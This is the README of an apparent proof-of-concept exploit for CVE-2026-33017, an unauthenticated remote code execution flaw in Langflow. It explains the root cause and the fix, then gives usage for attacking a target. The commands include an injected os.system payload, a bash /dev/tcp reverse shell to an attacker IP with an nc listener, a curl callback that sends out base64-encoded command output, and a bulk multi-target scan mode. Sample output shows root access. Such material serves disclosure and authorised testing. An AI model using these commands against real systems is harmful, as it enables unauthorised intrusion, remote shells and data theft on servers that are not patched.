CVE-2026-33017 — PoC di RCE non autenticata in Langflow

Solo per scopi educativi e test autorizzati.

Riepilogo

Langflow <= 1.8.1 espone un endpoint pubblico di build dei flow che accetta dati di flow controllati dall'attaccante contenenti codice arbitrario. Questi dati vengono passati a prepare_global_scope() in validate.py, che chiama exec() senza sandbox, consentendo l'esecuzione remota di codice non autenticata con i privilegi del processo server.

• CVE: CVE-2026-33017
• GHSA: GHSA-vwmf-pq79-vjvx
• Gravità: Critica — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N)
• Corretta in: 1.9.0

Versioni interessate

Dettagli della vulnerabilità

Causa principale

L'endpoint build_public_tmp è intenzionalmente non autenticato — è progettato per consentire a chiunque di eseguire un flow pubblico memorizzato. Il difetto è che accetta anche un parametro opzionale data contenente definizioni di flow controllate dall'attaccante. Un utente non autenticato può quindi inviare codice di nodo arbitrario che il server tratta come un legittimo grafo di flow e passa direttamente alle routine di esecuzione del codice senza alcuna validazione.

La correzione è semplice: rimuovere il parametro data e forzare l'endpoint a chiamare esclusivamente build_graph_from_db(), così che i flow pubblici eseguano solo dati memorizzati e mai codice fornito dall'attaccante.

Catena di esecuzione

Il payload dell'attaccante attraversa la seguente catena di chiamate prima di raggiungere l'esecuzione:

Perché funziona l'iniezione a livello di modulo

prepare_global_scope() in validate.py elabora i nodi ast.Assign durante la compilazione del grafo — prima che qualsiasi metodo del flow venga invocato. Un'assegnazione a livello superiore nel codice iniettato viene quindi eseguita immediatamente:

_r = __import__('os').system("whoami")  # viene eseguita in fase di compilazione, non a runtime del flow

L'output viene inviato allo stdout del server, non alla risposta HTTP. L'esfiltrazione richiede un callback verso l'esterno (reverse shell, curl verso un webhook).

Endpoint vulnerabile

Scenari di sfruttamento

Utilizzo

pip install requests
python3 poc.py --url http://target:7860 --cmd "id"

Opzioni

Esempi

Importante: Il PoC usa os.system() a livello di modulo — il comando viene eseguito sul server ma il suo output va allo stdout del server, non alla risposta HTTP. Il PoC conferma solo che l'esecuzione è avvenuta ([+] VULNERABLE). Per ricevere effettivamente l'output del comando, usa uno dei metodi di esfiltrazione seguenti.

Conferma cieca (verifica la RCE senza catturare l'output)

python3 poc.py --url http://target:7860 --cmd "id"

Reverse shell — con listener locale

# 1. Avvia un listener sulla tua macchina
nc -lvnp 4444

# 2. Invia la reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"

Esfiltrazione OOB tramite callback HTTP — con server locale

# 1. Avvia un server HTTP locale
python3 -m http.server 8080

# 2. Esfiltra l'output tramite callback curl
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"

Con un UUID di flow pubblico noto (nessuna creazione del flow necessaria)

python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>

Scansione bulk da file

python3 poc.py --url-file targets.txt --cmd "id" --threads 10

Esempio di output

Il PoC conferma che l'esecuzione è avvenuta. [+] VULNERABLE significa che la build è riuscita e il codice iniettato è stato eseguito — non significa che l'output sia stato catturato.

============================================================
  CVE-2026-33017 — Langflow RCE PoC
============================================================
  Targets : 1
  Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
  Threads : 5  |  Timeout : 15s
============================================================

[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)

============================================================
  SUMMARY
============================================================
  [+] http://target:7860  VULNERABLE
============================================================

  1/1 target(s) vulnerable

Output ricevuto dal server HTTP locale:

10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)

Riferimenti

• GHSA-vwmf-pq79-vjvx
• CVE-2026-33017
• Repository Langflow
• Correlato: CVE-2025-3248 — problema simile con exec() su /api/v1/validate/code